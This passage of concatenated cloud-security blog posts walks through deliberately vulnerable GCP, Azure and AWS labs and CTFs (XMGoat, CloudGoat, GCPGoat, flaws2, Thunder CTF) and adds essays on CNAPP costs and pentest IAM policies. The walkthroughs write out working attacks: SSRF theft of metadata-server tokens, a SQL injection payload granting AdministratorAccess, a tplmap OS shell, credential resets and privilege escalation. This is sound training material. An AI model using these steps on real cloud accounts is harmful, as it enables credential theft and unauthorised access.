--metadata=ssh-keys="ubuntu:<ssh-key-gcp.pub> ubuntu" --zone=us-east4-a

Now, we will use the private key to SSH into the instance.

ssh -i <private-key> username@<external_ip_address>

We are inside the compute instance now. We can see the machine’s name, which is also the name of the compute instance.

Inside the /etc folder, we can see the gcp-pentest-flask-app folder.

Getting into that folder and listing the contents of it

We can see app.py inside it. 

Since the flag-3 description states that the flag is in some source code, let’s explore the source code.

We found the third flag in the source code comments. 

Now, we will move to the fourth flag.

Flag-4

Description: “Flag 4 is a secret, literally!”

Solution:

The first thing someone can think of regarding GCP infrastructure is the secret manager, as they store confidential information (secrets, in other words). 

Let’s see if the VM’s default access token has access to list and fetch secrets from the secret manager. First, we get the access token.

curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

export ACCESS_TOKEN_DEFAULT_SA=<token>

We will try to access the secret manager by requesting the URL below with the access token of the default service account.

curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://secretmanager.googleapis.com/v1/projects/cloudsecurityclub-gcp/secrets" 

The output says an entry in the secret manager with the name flag-4. We will try to access it.

We will again make a curl request on the URL below, appending the secret name flag-4. Every secret can have multiple versions. Using the latest will fetch the contents of the most recent version. Also, we must use the access method to get the data stored in the secret manager. 

Our final curl command looks like the following:

curl "https://secretmanager.googleapis.com/v1/projects/cloudsecurityclub-gcp/secrets/flag-4/versions/latest:access"  --header "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA"  

The data for flag 4 is visible and in a base64-encoded format. Let’s decode it.

We have found the fourth flag.

Flag-5

Description: “Flag 5 is inside some instance but isn’t a file! “

Solution:

Let’s see if there’s any juicy information in the instance’s metadata. 

We can see that this service account we got from cloudsecurityclub-gcp-dev-bucket is currently active on my local system.

gcloud auth list

First, we will list the compute instance with the help of this service account.

gcloud compute instances list

We can see the instance’s name and zone from the above information.

First, we will set the access token of the service account we activated from the key we got from the dev bucket into the environment variable ACCESS_TOKEN.

export ACCESS_TOKEN=$(gcloud auth print-access-token)

We will pass it on to the curl request we will make next to retrieve the metadata.

export METADATA=$(curl -H "Authorization: Bearer $ACCESS_TOKEN" "https://www.googleapis.com/compute/v1/projects/cloudsecurityclub-gcp/zones/us-east4-a/instances/cloudsecurityclub-gcp-flask-vm?fields=metadata")

We can see the request was successful, and we received the response.

echo $METADATA | jq

We got the 5th flag stored in the startup script in the compute instance’s metadata.

Flag-6

Description: “Flag 6 is in yet another bucket, but this one is the most restricted yet!”

Solution:

While getting the second flag, we saw a super-secret bucket containing the flag6 file.

We will try to access that bucket using the default service account’s access token for the compute instance.

curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

We got the access token of the default service account.

We will use this access token to see if we can access the flag6 object in the super secret bucket.

curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://storage.googleapis.com/storage/v1/b/cloudsecurityclub-gcp-super-secret-bucket/o/flag6.txt?alt=media"

Finally, we found the 6th flag.

The setup is the same as the previous scenario; you only need to slightly change the terraform (main.tf) script. Azure provider doesn’t allow sensitive values in its output, so add sensitive = true to your code.

Also, change the storage account name. The hardcoded storage account subscription is unavailable.

Build the terraform plan.

terraform plan -out <filename>

Once successfully built, we apply those changes using:

terraform apply <filename>

To get the initial account info (username and password), use:

terraform output --json

Enumeration

Let’s login with the credentials obtained from the terraform output:

az login --service-principal -u <username> -p <password> --allow-no-subscription

We’ll use ScoutSuite to enumerate permissions and resources accessible to this service principal. ScoutSuite queries for all possible Azure resources and potential misconfigurations.

ScoutSuite supports multiple authentication methods. We will execute the following as we have already logged into our target Azure account via az CLI.

python scout.py azure --cli

Once ScoutSuite successfully analyzes the environment, we get an audit report.

It has audited all the services the service principal can access and given us a list of misconfigurations. After going through the issues, we found a service that stands out the most: Key Vault.

Key Vault is Azure’s service for storing and managing sensitive data like keys, secrets, and certificates. We are likely to stumble upon more secrets.

From the issues, we find the key vault named batcave has RBAC disabled.

When RBAC is disabled on a key vault, access is governed by the vault’s access policies. Managing access policies involves specifying the permissions for different principals (users, groups, or applications) directly within the vault’s settings. This method allows for fine-grained control over access to the vault’s keys, secrets, and certificates.

After further analyzing the issues and resources, we found an interesting Azure role named “No Administering Resource Locks.”

This role is not a standard Azure role, and it alone is not significant to this scenario. Maybe it’s just a hint for the player.

Azure Resource Locks are additional security measures to prevent resource tampering or deletion. The hint may indicate that some critical resources don’t have a resource lock.

We can manually test the environment using this initial foothold information from the ScoutSuite report.

Exploitation

Let’s try printing all the key vaults.

az keyvault list

Let’s fetch all secrets from the key vault batcave.

az keyvault secret list --vault-name batcave

In the id section, we can see the secret named butler. We then pass this on to reveal the secret.

az keyvault secret show --vault-name batcave --name butler

We have found the credentials of a possible regular user account.

Regular user accounts are linked to individual identities and include wider access authorizations suitable for different positions within a company.

Let’s see if this user credential works.

az login -u <username> -p <password>

It worked.

Going by the hint that “No Administering Resource Locks,” let’s see if this compromised user can edit the Key Vault’s access policy and update its privileges.

Let’s try making our compromised user butler the owner of the key vault batcave.

Executing the command without scope gives us an error.

Now, we assign the scope at the subscription level, which gives us elevated privileges at the specified level or scope.

az role assignment create --assignee <assignee username> --role <role> --scope <scope define>

To verify our elevated permissions, use the command below to list all role assignments for a specific user or service principal.

az role assignment list --all --assignee

We can see roledefinitionName is set to Owner, which means we have successfully elevated our privileges.

Conclusion

In conclusion, Scenario 2 of XMGoat shows how an attacker can use the leaked credentials of a Service Principal to enumerate secrets stored in the Key Vault. These secrets, which included the credentials of a regular account, were used to update the access policies of the Key Vault and escalate privileges to become the Owner of the Key Vault.

Source: https://github.com/XMCyber/XMGoat/tree/main/scenarios/scenario_2

Introduction

Azure, Microsoft’s cloud computing platform, offers a wide range of services that businesses worldwide use. However, as with any platform, ensuring the security of your Azure environment is crucial. This blog post will guide you through the process of penetration testing an Azure environment, specifically focusing on the XMGoat vulnerable environment scenario one. We will highlight key areas to focus on and provide step-by-step instructions to help you understand and test the security of your Azure setup.

Scenario 1

URL: https://github.com/XMCyber/XMGoat/tree/main/scenarios/scenario_1/

This scenario revolves around:

• Resource Groups

• Virtual Machines

• Storage Accounts

• Azure AD Applications

To deploy the scenario first we need to login to Azure Account using Azure CLI

az login
cd scenarios/scenario_1
terraform init
terraform plan -out <filename>
terraform apply <filename>

This is how our resources look once deployed:

Getting Started

First plan and build the script

terraform plan -out Scenario1
terraform apply Scenario1

To get access to the initial user and services, use terraform output --json. This will display the user, password, and services to get started with the challenge.

We’ll log in to the initial user.

az login -u bruce@cloudsecurity.club -p <PASSWORD> --allow-no-subscription

Let’s try to enumerate the user’s permissions

az ad group list

az ad user show --id "wayne@cloudsecurity.club"

We don’t have enough permission to view the ad groups and ids, move on to check the apps deployed.

az ad app list --show-mine

There is no MFA, auth permissions and certifications set-up, we can see that in the 2nd and 3rd block itself. We can try to reset the credentials and get access to the service principal account.

az ad app credential reset --id <APPID>

Now that credentials are reset successfully, we can access to the principal account

az login --service-principal -u <appid> -p <password> -t <tenant> --allow-no-subscription

List the VMs running on the account

az vm list

You will get a long output showing all the details about the VM and resource group. Install Azure CLI on the VM and run the command inside the VM. Installing the Azure CLI (Command-Line Interface) on a VM (Virtual Machine) running a Debian-based Linux distribution allows you to manage Azure resources directly from that VM. The Azure CLI provides a set of commands to manage Azure resources, such as creating and managing VMs, resource groups, and other services.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"

Once installed successfully, we can log into the VM using the user-assigned identity that we saw earlier when we listed the VMs list.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az login --identity --username d332a127-5f8f-445f-a37d-fc09587f682c"

Now list the storage accounts.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage account list"

In the output we can see batcave01 is the storage account name. Now using this we can print out the containers in it.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage container list --account-name batcave01 --auth-mode login"

Once logged in, we can see a blob named cloudsecc01. Now we just need to list out the contents inside it.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage blob list -c cloudsecc01 --account-name batcave01 --auth-mode login"

We can see a file named secret.txt we download the file onto our Vm and then read the contents of the file.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage blob download -n secret.txt -c cloudsecc01 --account-name batcave01 --auth-mode login -f /secret.txt"

Now that it is downloaded into our VM we can read the contents easily.

az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "cat /secret.txt"

Conclusion

In conclusion, Scenario 1 of XMGoat shows how an attacker can use leaked credentials to execute commands inside VM and access blobs inside storage account.

Source: https://github.com/XMCyber/XMGoat/tree/main/scenarios/scenario_1

In this CloudGoat Vulnerable Lambda walkthrough, we will explore IAM privilege escalation by exploiting custom Lambda function logic and retrieving secrets from the AWS Secrets Manager.

If you prefer watching this post as a YouTube video, here you go:

Challenge Description

You start as the ‘bilbo’ user in this scenario. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the bilbo user to search for secrets.
Use ./cloudgoat.py create vulnerable_lambda to create the scenario.
Link: https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/vulnerable_lambda

Scenario Goal

Find the scenario’s secret. (cg-secret-XXXXXX-XXXXXX)

Solution

After creating the scenario, IAM user bilbo’s credentials are stored in the start.txt file in the vulnerable_lambda* folder. Use these credentials to configure the profile for bilbo.

cat vulnerable_lambda_cgidr2hk6ccycu/start.txt; aws configure --profile bilbo

Let’s start by viewing the details of the IAM user ‘bilbo’ using sts:GetCallerIdentity.

aws --profile bilbo sts get-caller-identity

Listing the IAM groups shows that the user ‘bilbo’ does not belong to any group.

aws --profile bilbo iam list-groups-for-user --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu

There are no managed policies are attached to the user as well.

aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu

Finally, we find an inline policy attached.

aws --profile bilbo iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu

Let’s retrieve the inline policy document using iam:GetUserPolicy.

aws --profile bilbo iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu --policy-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu-standard-user-assumer

The above policy document contains two policy statements that define the permissions for the user ‘bilbo’:

• The user can assume any role with an ARN prefix matching cg-lambda-invoker.

• The user can perform SimulatePrincipalPolicy, SimulateCustomPolicy, and IAM actions that start with Get and List.

Try listing the roles to see if there is any role with the prefix “cg-lambda-invoker”.

aws --profile bilbo iam list-roles | grep 'cg-lambda-invoker'

Based on the policies permitting the user’s sts:AssumeRole action, attempt to assume the cg-lambda-invoker role.

aws --profile bilbo sts assume-role --role-arn RoleARN --role-session-name bilboSession

Assuming the role provides credentials that enable the user ‘bilbo’ to operate with the permissions defined by that role. Set these access keys and the session token to configure the profile bilboSession.

Next, attempt to list the role policies for the assumed role.

aws --profile bilboSession iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidr2hk6ccycu

We see one inline policy lambda-invoker attached with the assumed role. Let’s attempt to retrieve the policy document for the listed policy.

aws --profile bilboSession iam get-role-policy --role-name cg-lambda-invoker-vulnerable_lambda_cgidr2hk6ccycu --policy-name lambda-invoker

The policy document also contains two policy statements:

• The user assuming the role is permitted to perform five lambda actions: list-function-event-invoke-configs, invoke-function, list-tags, get-function, get-policy on the lambda function named vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1.

• It allows the user to assume the role of listing lambda functions, iam:SimulateCustomPolicy, iam:SimulatePrincipalPolicy, and IAM actions starting with Get and List.

Let’s list the Lambda functions accessible to the user as the assumed role grants permission for the lambda:ListFunctions action.

aws --profile bilboSession lambda list-functions

The description of this function indicates that it will apply a managed policy to the user of our choice. Retrieve the function using lambda:GetFunction.

aws --profile bilboSession lambda get-function --function-name vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1

The Location field in the above output contains the URL to the deployment package of the lambda function. This URL leads to a zip file containing the source code, including dependencies, for the lambda. It also indicates the location of the handler function, which is the main.handler.

ls -l -g -o --color=auto vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1

The file main.py contains the code to add managed policies to any IAM user passed in the JSON input.

cat vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1/main.py

If you look carefully, the code parses the input to extract the policy names’ values and constructs a SQL query without sanitizing it, making it vulnerable to SQL injection.

The database contains a list of allowed policies. SQLite3 can be utilized to interact with my_database.db, revealing that ‘AdministratorAccess’ is not an approved policy, as it is marked as not public.

sqlite3 vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1/my_database.db

To obtain the ‘AdministratorAccess‘ policy, craft a SQL injection payload and invoke the lambda function. The JSON payload would be:

{
    "policy_names": [
        "AdministratorAccess' --"
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu"
}

--   will comment out the public=True section, causing the lambda function to apply the “AdministratorAccess” policy to the user. Now, pass this payload as base64 encoded in the command.

The output confirms that the policy was successfully applied. We can be verify it using iam:ListAttachedUserPolicies.

aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu

Now that our bilbo user has been granted the “AdministratorAccess” policy, let’s try to achieve the scenario’s goal of finding the secrets.

Attempting to list secrets from the Secrets Manager:

aws --profile bilbo secretsmanager list-secrets

Utilize secretsmanager:GetSecretValue to retrieve the value of the secret string.

aws --profile bilbo secretsmanager get-secret-value --secret-id <arn>

The value of the SecretString is “cg-secret-846237-284529,” and with this, we complete the Cloudgoat scenario.

GCPGoat (by Joshua Jebaraj) focuses on providing a comprehensive learning environment for GCP security. It includes scenarios for attacking various GCP services, such as Google Kubernetes Engine (GKE), Cloud Storage, SQL instances, and App Engine. 

This project differs from other vulnerable GCP projects we have checked out.

This project is not a CTF, so there’s no flag under each scenario. Rather, it’s a set of challenges containing misconfigured GCP resources. Each challenge has a clear title denoting the misconfigured resource (like GCS, GKE, etc.). 

The lab setup could be more straightforward. For some challenges, there are more steps apart from terraform init and terraform apply.

If you want to quickly jump to solution of a particular challenge, here you go:

• Attacking GCS

• Attacking SQL instance

• Attacking Artifact registry

• Attacking GKE

• Attacking Google App Engine

• Privilege escalation

Attacking GCS

You can set up the challenge as per the documentation.

During the setup, we set the unique bucket name as “gcpcsc123” and the challenge has created a GCS bucket – gcpcsc123-backup

gsutil ls

Now, let’s try to access this storage bucket without using our service account.

Simply visiting this storage bucket URL shows that all of the bucket objects are publicly list

https://storage.googleapis.com/storage/v1/b/<gcpgoat-bucket>/o

We see juice-shop.zip present in the bucket. We can download the ZIP file by visiting the URL

https://storage.googleapis.com/storage/v1/b/<gcpgoat-bucket>/o/juice-shop.zip?alt=media

Extracting the zip file, we can find the secret.

Attacking SQL instance

You can set up the challenge as per the documentation.

This challenge creates a database and gives the public IP of the database in the output. In our case, the DB’s IP is 35.194.155.109.

Let’s check if the database is publicly exposed.

nmap -Pn <EXTERNAL_IP>

We see that port 3306 is open for connections.

Let’s try to log in to MySQL using MySQL Client. (You can install the client using sudo apt install mysql-client-core-8.0)

The database lets us log in without a password!

mysql -u root -h 35.194.155.109

By running this command, we successfully logged in to the database instance, and now we can search for some vital information from here.

With this, we were able to access the database instance. It didn’t contain any sensitive data or flags.

Attacking Artifact registry

You can set up the challenge as per the documentation. This setup involves quite a few steps and could be more straightforward.

As per the CTF description, this scenario assumes that we have found the project and repo names. 

In our case, the project name is cloudsecurity-dev, and the repo name is gcp-goat/secret.

The container registry hostname follows the <region>-docker.pkg.dev pattern. Trying to find the location shows our registry is in the us-central1 region

Now, we will download and run this Docker image.

We can find the file creds.json inside the container containing the service account key.

Attacking GKE

You can set up the challenge as per the documentation. 

After successfully deploying the challenge, we get the entry point to the challenge - http://<external_ip_of_node>:30003/page. 

Visiting the page shows us the following web page:

After testing for several server-side injections (command injection, SQLi, etc.), server-side template injection worked.

Now, we will exploit this SSTI vulnerability with the tool tplmap.

python3 tplmap.py -u http://<node-external-ip>:30003/page?name=gcp-goat --os-shell

We can now access everything from the shell in the application’s container.

This container runs on Google Kubernetes Engine (GKE) nodes. Each GKE node has an attached default service account (with Project Editor permissions). So, if you get a shell inside the container running on GKE, you can view and modify other resources in the project.

For example, I can list the project’s GCS buckets and VM instances from the container.

Attacking Google App Engine

You can set up this challenge by following the documentation.

This challenge deploys an App Engine app that provides us with the URL https://cloudsecurityclub-dev.wl.r.appspot.com

Visiting the URL shows the following webpage:

As this application takes any URL as input, let’s try passing the Instance Metadata endpoint to it along with the header Metadata-Flavor: Google.

The metadata server is at http://metadata.google.internal, and the endpoint that grants temporary credentials is at /computeMetadata/v1/instance/service-accounts/default/token. Let’s try accessing it.

We got the access token corresponding to the service account, which we can use to access the resources.

Privilege escalation

You can set up the challenge as per the documentation. 

The challenge provides us with a service account key. Let’s find the permissions of the service account.

python3 test-permissions.py creds.json

Now, we will impersonate other service accounts using this service account. Impersonation provides the current user/service account with the privileges of some service account.

With this command, we export the email of the compute engine’s default service account.

export SA_EMAIL=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")-compute@developer.gserviceaccount.com

With this command, we impersonated the service account with the privileges of the default-compute-engine’s service account.

gcloud config set auth/impersonate_service_account $SA_EMAIL

So, to demonstrate this scenario and how we can impersonate the permissions of other SAs to the particular SA, we will explicitly set the EDITOR role for the default service account for the compute engine.

gsutil ls

The permissions of the default compute engine’s SA help us list the contents of the buckets.

gcloud compute instance list

With this we have completed all the challenges.

I’ve had my fair share of experience evaluating, procuring, and running a CNAPP solution in production environments, especially on AWS and GCP. I’ve seen their benefits and drawbacks, whether it’s agentless workload scanning or agent-based real-time protection.

Do you believe the annual cost of $100,000 for a CNAPP means you will only spend $100,000?

Let me upset you. The short answer is NO.

When it comes to the cost of a CNAPP, a naive mistake is to think the price written on the contract, after the battle between your procurement team and the vendor’s sales team, is final.

The hidden costs of operationalizing the CNAPP are often not highlighted. Not even the best, highest-ranking SEO-optimized CNAPP buyer guides mention this.

In this blog post, I’ll share some insider insights and lessons to help you make informed decisions when considering a CNAPP for your organization.

The Sad Reality of Additional Expenses

These are some of the ways I have seen CNAPP solutions add additional costs (in no particular order):

• Enabling new log sources and security services: CNAPPs might require additional logging to feed their machine-learning models or advanced threat detection. You might also need to enable a cloud platform-specific security service (GuardDuty, etc.). If you enable new log sources and security services just for the CNAPP, the costs must be attributed to the CNAPPs.

• Shipping CNAPP logs to other places: If you have a SIEM/XDR solution and want the CNAPP logs sent to it, then yes, you guessed it right—it costs money. This expense is dependent on the number of logs generated and shipped.

• Self-hosting scanners can cost you a lot of money: If your organization is subject to strict regulatory requirements, you may need to run agentless scans within your cloud accounts. Hosting the vendor’s proprietary scanners on your infrastructure incurs massive additional costs, which will grow with your workload and scanning frequency.

• Agents scale with your workloads: For those using agents in their infrastructure, such as Kubernetes agents, remember that these agents eat up some memory on each VM. If you just had 30-50 worker nodes, you may need to add a few more nodes to make some space for agents in each worker node and distribute the existing load on new VMs.

Some negligible costs that are still not zero

• Encryption and Key Management: If you opt for agentless scanning, you’ll need to consider the cost of the encryption keys used to encrypt and send snapshots to the vendor. Managing encryption keys adds a small fee, but with the security best practice of automatic key rotation, you will have spent a noticeable chunk in a few years.

• Costs of Cloud API and API throttling: While accessing cloud APIs to retrieve information may seem negligible, the costs can accumulate over time, especially if your CNAPP makes frequent requests. I’ve had (unfortunate) firsthand experiences of a spike in S3 costs (due to frequent s3:ListObjects calls) and even AWS API Throttling (that led to a production incident) due to frequent API requests to list 1000s of AWS Glue Tables for inventory purposes.

• Time spent on CI/CD pipelines isn’t free: Integrating CNAPP agents into your CI/CD pipeline to “shift left” can lead to increased CI/CD time and resource consumption, which translates to added expenses. These costs depend on how you have configured your security stages in the pipeline. Scanning every push in the dev environment is more costly than scanning every PR merged to staging/UAT.

These are some hidden costs I found after deploying the CNAPP solution.

You shouldn’t mistake this for vendors not doing anything. I’ve seen vendors doing optimization on their end, like hosting their scanners in the same region and availability zone as the customer, optimizing agent memory consumption, etc.

If you plan to procure a CNAPP, explicitly ask about the additional costs of running the tool. Higher costs should mean more credits in the final quote. 😉

Let’s Connect!

As a seasoned cloud security engineer, I’ve witnessed the crucial role of thoroughly testing AWS environments in identifying and fixing vulnerabilities before attackers can exploit them.

I’ve been in two types of engagements – external cloud pentests and external cloud security assessments for regulatory compliance reasons.

Regardless of the type of engagement, choosing the appropriate IAM policy for these activities can be a challenging task.

Should you opt for SecurityAudit, ReadOnly, or ViewOnly?

I’ve faced this situation often, and I’d like to share my perspective.

The Big Three Policies: An Overview

For those new to this, here’s a quick overview of the key pre-defined IAM policies frequently considered for pentesting:

SecurityAudit (Version 42): Grants permissions to assess the configuration of AWS resources for adherence to security best practices, including access to potentially sensitive information needed for auditing. It also grants permission to access the findings from AWS Security services like Inspector, GuardDuty, etc.

ReadOnly (Version 113): As the name suggests, this policy allows read-only access to resources across most AWS services. A user/role with this policy can view and read data but not modify configurations. You must also note that this policy grants read-only access to both resource configurations and stored data.

ViewOnly (Version 18): A more restrictive version of ReadOnly that removes access to some services/actions considered higher-risk.

Please note that AWS manages the versions of these managed policies, and the information provided here is based on the versions mentioned above, which may change in the future.

Recommended Solution: SecurityAudit

After careful consideration, my recommended solution for most pentesting scenarios is the SecurityAudit policy. This policy balances sufficient access for comprehensive testing and minimizing the risk of unintended data exposure or resource tampering.

SecurityAudit grants access to vital security findings from services like Inspector, GuardDuty, and Macie, essential for identifying potential issues. It also allows access to network security configurations in Network Firewall, Shield, and WAF (v1, v2, and regional), enabling a thorough evaluation of your security posture.

Additionally, SecurityAudit provides access to Resource Access Manager and SSM available patch status that are crucial for understanding the overall access control and system configurations across your AWS environment.

ReadOnly policy is even more permissive than SecurityAudit. It grants almost all permissions of the SecurityAudit policy along with the permissions to do the following:

• Fetch data from S3, DynamoDB, etc

• List and read Cognito users

• Clone repositories from CodeCommit

• Read from SQS queues

• Read (any secrets) stored in the SSM Parameter Store

• Get Lambda function code

This level of access may not be necessary for most pentests and could introduce unnecessary risks.

ViewOnly, on the other hand, is more restrictive and may not provide sufficient visibility into key security configurations and findings. It doesn’t allow users to get the findings from AWS Security services like Inspector, GuardDuty, etc.

This image is a visual representation only, though in reality, exceptions such as unique permissions in each policy may exist.

Best Possible Solution: Least Privileged Access Based on Scope

Every external pentest and cloud security assessment has its scope.

The best possible solution is to grant access only to the specific services and actions required for the pentest. This approach minimizes the potential blast radius and ensures that the pentester has the minimum necessary permissions to conduct their assessment effectively.

To achieve this, consider creating a custom IAM policy with specific permissions needed for your pentest scope. A custom policy allows you to fine-tune access and align it precisely with your testing requirements.

Conclusion

Choosing the right IAM policy for your AWS pentesting requires careful consideration of your testing requirements and risk tolerance. While SecurityAudit provides a solid foundation for most assessments, the best approach is to adhere to the principle of least privilege and grant access only to the specific services and actions necessary for your pentest.

Avoid granting Get* and Describe* permissions without careful consideration, as it may unintentionally allow access to sensitive data that should be restricted.

FAQs

1. I’m still not convinced. Why should I not give ReadOnly policy access?

Let me put it another way. The risk of the ReadOnly policy is granting access to data. Despite your engagement under NDA, external pentesters/consultants are “technically capable” of copying your data. Do you have the technical capabilities to analyze their actions in your account? (On both management and data events.)

2. Are there any situations when ReadOnly access is needed?

It depends. ReadOnly access grants access to data in S3 and DynamoDB. It lets you download Lambda code, clone images from ECR, clone repositories from CodeCommit, etc. Suppose your pentest includes scanning data (maybe as part of data security assessments) or finding security issues in Lambda code, ECR repos, etc.. In that case, it might make sense to grant ReadOnly.

3. My external pentest company has given me a custom policy, which I suspect is just a copy of the ReadOnly policy. How can I quickly find the access granted?

Post the policy in the Permissions.Cloud’s Policy Evaluator. It flags any IAM permissions that leads to data access and credentials exposure.

flaws2.cloud challenges are hands-on exercises designed to help users identify and exploit security misconfigurations in AWS environments. Participants learn to understand common misconfigurations and weaknesses in cloud infrastructure, improving their skills in securing cloud services. These challenges are valuable for beginners and experienced professionals seeking practical, real-world experience in cloud security.

Flaws2 offers two paths this time: Attacker and Defender! This blog post will discuss the Attacker’s side to learn about serverless (Lambda) and container (ECS Fargate) misconfigurations.

In case you haven’t checked out my flaws.cloud writeup: I highly recommend doing it now.

Level 1

Solution: Here, it asks for a 100-digit number. If you give the wrong number, it prints “Incorrect. Try again,” but for non-integer input, it pops an alert saying, “Code must be a number.”

Let’s look at the HTML logic in the page

<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
    Code: <input type="text" name="code" value="1234">
    <br><br>
    <input type="submit" value="Submit">
</form>

The form submits the input to the URL https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1.

Let’s intercept the traffic in Burp Suite. The HTML page sent the form data to the server using the GET method. The request contains the input given to the form in the query “?code=1234”.

When I pass on a non-integer input, the server sends an “HTTP/2 500 Internal Server Error,” indicating a problem on the server side while processing your request. However, it dumps many environment variables containing information like AWS access keys, session tokens, etc.

Save these access keys and the session token in the ~/.aws/credentials to configure AWS CLI for a named profile. Then, try listing the files in bucket level1.flaws2.cloud.

aws --profile level1-flaws2 s3 ls s3://level1.flaws2.cloud

It contains a secret file; try accessing it in the browser.

secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html contains the URL to Level2.

Level 2

Solution: Opening the container URL shows a login screen asking for a username and password.

The hint in the description tells us to search the ECR repository named level2. Let’s try listing all ECR repositories in the account. The credentials from level1-flaws2 don’t have permission for the action ecr:DescribeRespositories.

aws --profile level1-flaws2 --region us-east-1 ecr describe-repositories

So, let’s just get all the images’ metadata in the repository named “level2”.

aws --profile level1-flaws2 --region us-east-1 ecr describe-images --repository-name level2

The level2 repository above has an image tagged as latest, with the image digest sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e. The first docker client needs to be authenticated with Amazon ECR to pull the image using docker pull. Use the aws ecr get-login-password command to get the authentication token and pass it to the docker login command using the username AWS.

aws ecr get-login-password --region us-east-1 --profile level1-flaws2 | sudo docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com

Now, pull the image using the command:

docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

Run the docker container using the following command:

docker run -it 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 /bin/bash

The container contains the file that leads to level3.

Level 3

Solution: This simple proxy allows us to use the container’s webserver to make HTTP requests to an arbitrary domain, which can lead to unauthorized access to internal resources.

Just like EC2 has a metadata endpoint at the IP 169.254.169.254, ECS containers have a task metadata endpoint at the IP 169.254.170.2.

If a container running on ECS needs IAM credentials during execution, AWS recommends using a task IAM Role. When the container is configured with the role, AWS automatically injects the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI to help running applications fetch temporary credentials during execution.

The value of the above environment variable can be appended to the task metadata endpoint (169.254.170.2) to fetch temporary credentials.

We can obtain the value of AWS_CONTAINER_CREDENTIALS_RELATIVE_URI from the file /proc/self/environ (this path contains all the environment variables available within a Linux system).

curl --output - http://container.target.flaws2.cloud/proxy/proc/self/environ | tr '\0' '\n'

Now, try to access the 169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI to get the credentials.

curl --output - http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/cb3fc49d-d169-4964-bb43-f6a5d33034bd | jq

Save these access keys and the session token in the ~/.aws/credentials to configure AWS CLI for a profile name, such as level3-flaws2. Then, try to list the buckets.

aws --profile level3-flaws2 s3 ls

The output contains the bucket name, the end of the flaws2.cloud.

We have come to the final level in Thunder CTF. Here are links to my previous level writeups (just in case you haven’t checked it):

• Solving Thunder CTF: Level 01

• Solving Thunder CTF: Level 02

• Solving Thunder CTF: Level 03

• Solving Thunder CTF: Level 04

• Solving Thunder CTF: Level 05

Starting Level 6:

python3 thunder.py create thunder/a6container

I am authenticating with the service account associated with this level.

gcloud auth activate-service-account --key-file=start/a6-access.json

Now, first, we will test the permissions of the a6-access.json, which is the corresponding key for the service account

python scripts/test-permissions.py start/a6-access.json

This service account has permissions related to the compute instance and storage.

Let’s list the storage objects:

gsutil ls gs://<bucket_name>

Finding the file containing the secret was easy. However, the catch is we can only list the objects but not download them (as the service account doesn’t have storage.buckets.get permission).

Let’s see what we can find from the compute instances. Listing the instances shows the following:

gcloud compute instances list

Since we also have compute.instances.get permission, we can describe the compute instance.

gcloud compute instances describe a6-container-vm --zone=us-west1-b

This compute instance has a docker image added under the “gce-container-declaration” metadata section. So, it is just running the container.

When we searched for that particular image in the Docker Hub, we found it there. That means it is publicly available, and even we can pull that image and analyze it further.

We can pull the docker image in Cloudshell and analyze it further.

docker version

docker pull wuchangfeng/thunder-ctf-a6:latest

docker run -it --entrypoint=/bin/bash wuchangfeng/thunder-ctf-a6

Let’s navigate inside the container

ls

It has a Python application inside; we’ll analyze it.

cat app.py

This Python application has a suspiciously unusual URL route that returns the compute instance’s metadata URL.

If the same container is running on the compute instance, it must expose this endpoint. If it does, it will also respond with the access token of the instance’s service account.

Let’s try accessing the URL along with the public IP of the instance:

curl <external-ip-of-instance>/admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Now that we have the compute instance’s access token, we will try to list the permissions related to it.

python scripts/test-permissions.py <access-token>

We can see that only storage.objects.get permission is associated with this access token.

Finally, download the secret.txt object in the storage bucket by passing the compute instance’s access token.

